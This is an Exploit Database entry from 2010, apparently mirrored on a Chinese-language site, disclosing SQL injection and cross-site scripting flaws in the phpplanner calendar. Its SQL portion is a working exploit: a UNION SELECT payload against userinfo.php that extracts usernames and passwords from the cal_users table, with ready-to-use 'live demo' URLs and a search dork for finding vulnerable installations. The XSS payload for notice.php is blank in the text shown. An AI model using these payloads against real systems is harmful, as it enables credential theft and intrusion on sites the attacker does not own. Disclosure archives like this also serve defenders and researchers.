phpplanner – Cross-Site Scripting / SQL Injection

• Exploit Database
• 34 阅读

• 作者： anT!-Tr0J4n
  日期： 2010-06-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/13847/

• ==================================
  phpplanner XSS / SQL Vulnerability
  ==================================
  
  # Script: php planner
  # Date: 12-06-2010
  # Author: anT!-Tr0J4n
  #My Home : www.Dev-PoinT.com
  # Software Link:http://phpplanner.sourceforge.net/
  # Tested on: Win7/Linux
  #DorK : inurl:/phpplanner/userinfo.php?userid=
  -----------------------------------
  Special Thx:Dev-P0!nT T34M /GlaDiatOr/SILVER STAR/Coffin Of Evil/HoBeeZ/mahmoudvip/Mr.Mh$TEr / M [Zero] /Cyber-Err0r/
  R3d-D3v1l (ALL sEc-r1z crEw) / saLman EL anz33 /NASHY / MR.FaHeD /EnerGiZeR/MiZR /almoomia/Nasraoui sameim && All Muslim's
  
  ========== Exploit By anT!-Tr0J4n============
  
  [>] exploit -> phpplanner SQL Vulnerability
  
  http://127.0.0.1/phpplanner/userinfo.php?userid=[sql]
  
  [>] Poc
  
  +union+select+concat(username,0x3a,password),2,3,4,5,6+from%20cal_users
  
  [>] Live D3MO:
  
  http://server/calendar/userinfo.php?userid=-3+union+select+concat%28username,0x3a,password%29,2,3,4,5,6+from%20cal_users
  
  http://server/phpplanner/userinfo.php?userid=-3+union+select+username,2,3,4,password,6+from%20cal_users
  
  #########################################
  
  [>] exploit -> XSS Vulnerability
  
  http://127.0.0.1/phpplanner/notice.php?msg=[XSS]
  
  http://server/path/notice.php?msg=
  
  
  ===============ABDO-R3ZK==================
  
  MY HomE : www.Dev-PoinT.com
  Author : anT!-Tr0J4n
  EmaiL : D3v-PoinT@Hotmail.com & C1EH@Hotmail.com
  # ./Done .
  ===============ABDO-R3ZK==================